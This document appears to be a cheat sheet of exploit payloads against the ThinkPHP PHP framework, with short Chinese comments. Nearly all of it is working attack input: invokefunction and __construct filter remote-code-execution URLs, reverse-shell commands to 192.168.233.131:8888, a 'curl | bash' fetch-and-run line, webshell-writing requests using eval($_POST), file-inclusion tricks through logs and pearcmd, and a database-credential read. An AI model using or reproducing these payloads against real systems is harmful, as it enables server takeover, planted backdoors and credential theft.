preg_replace('正则规则','替换字符','目标字符')

1=system%28%22bash+-c+'bash+-i+>%26+%2Fdev%2Ftcp%2F192.168.233.131%2F8888+0>%261'%22%29%3B

/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=+url编码后的马子

http://192.168.233.131:8080/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=milu.php&vars[1][]=%3C%3Fphp%20phpinfo()%3B%20eval(%40%24_POST[%27cmd%27])%3B%20%3F%3E

<?phpnamespace app\index\controller;
use app\index\model\User;
class Index{    public function index(){        $ids = input('ids/a');        $t = new User();        $result = $t->where('id', 'in', $ids)->select();    }}

<?php...$bindName = $bindName ?: 'where_' . str_replace(['.', '-'], '_', $field);if (preg_match('/\W/', $bindName)) {    // 处理带非单词字符的字段名    $bindName = md5($bindName);}...} elseif (in_array($exp, ['NOT IN', 'IN'])) {    // IN 查询    if ($value instanceof \Closure) {        $whereStr .= $key . ' ' . $exp . ' ' . $this->parseClosure($value);    } else {        $value = is_array($value) ? $value : explode(',', $value);        if (array_key_exists($field, $binds)) {            $bind  = [];            $array = [];            foreach ($value as $k => $v) {                if ($this->query->isBind($bindName . '_in_' . $k)) {                    $bindKey = $bindName . '_in_' . uniqid() . '_' . $k;                } else {                    $bindKey = $bindName . '_in_' . $k;                }                $bind[$bindKey] = [$v, $bindType];                $array[]        = ':' . $bindKey;            }            $this->query->bind($bind);            $zone = implode(',', $array);        } else {            $zone = implode(',', $this->parseValue($value, $field));        }        $whereStr .= $key . ' ' . $exp . ' (' . (empty($zone) ? "''" : $zone) . ')';    }

t&server[REQUEST_METHOD]=whoami

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo <?php @eval($_POST['milu']); ?>  >>/var/www/public/milu.php

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echoIDw/cGhwIEBldmFsKCRfUE9TVFsnbWlsdSddKTsgPz4= >>/var/www/public/hushell.php

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl http://192.168.233.131/shell.sh | bash

index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Common/23_10_19.log

THINKPHP3.2 结构：Application\Runtime\Logs\Home\日期.logTHINKPHP3.1结构：Runtime\Logs\Home\日期.log日志存储结构是 ：项目名\Runtime\Logs\Home\年份_月份_日期.log

?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['milu']);?>+/var/www/html/milu.php

$res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));

index.php?m=--><?=phpinfo();?>index.php?m=Home&c=Index&a=index&value[_filename]=.\Application\Runtime\Logs\Common\日期.log

?s=index/think\config/get&name=database.username // 获取配置信息?s=index/\think\Lang/load&file=../../test.jpg // 包含任意文件?s=index/\think\Config/load&file=../../t.php // 包含任意.php文件?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoami?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=whoamicall_user_func 不大行..?s=index/\think\app/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami?s=index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami?s=index/\think\View/display&content=phpinfo();?>?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=2s=index|think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=...

aa=file_put_contents('test.php'%2C'%3C%3Fphp+phpinfo()%3B')&_method=__construct&method=POST&filter[]=assert

index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

 ThinkPHP <= 5.0.23 需要存在xxx的method路由，例如captchaPOST /?s=xxx HTTP/1.1_method=__construct&filter[]=system&method=get&get[]=ls+-al_method=__construct&filter[]=system&method=get&.=ls

?s=index/\think\Request/input&filter[]=system&data=pwd ?s=index/\think\view\driver\Php/display&content= s=index/\think\template\driver\file/write&cacheFile=shell.php&content= s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id?s=index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami?s=index/\think\request/input?data[]=-1&filter=phpinfo?s=index/think\app/invokefunction?function=call_user_func&vars[0]=system&vars[1]=whoami?s=index|think\app/invokefunction&function=call_user_func&vars[0]=phpinfo&vars[1]=1?s=index/think\request/input?data[]=-1&filter=phpinfo?s=index/think\app/invokefunction&function=call_user_func&vars[0]=md5&vars[1]=123456?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1?s=index/\think\View/display&content=?s=index/think\View/display&content=?s=index/think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami s=index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=whoami?s=index/\think\app/invokefunction&function=call_user_func&vars[0]=system&vars[1]=powershell%20lschdir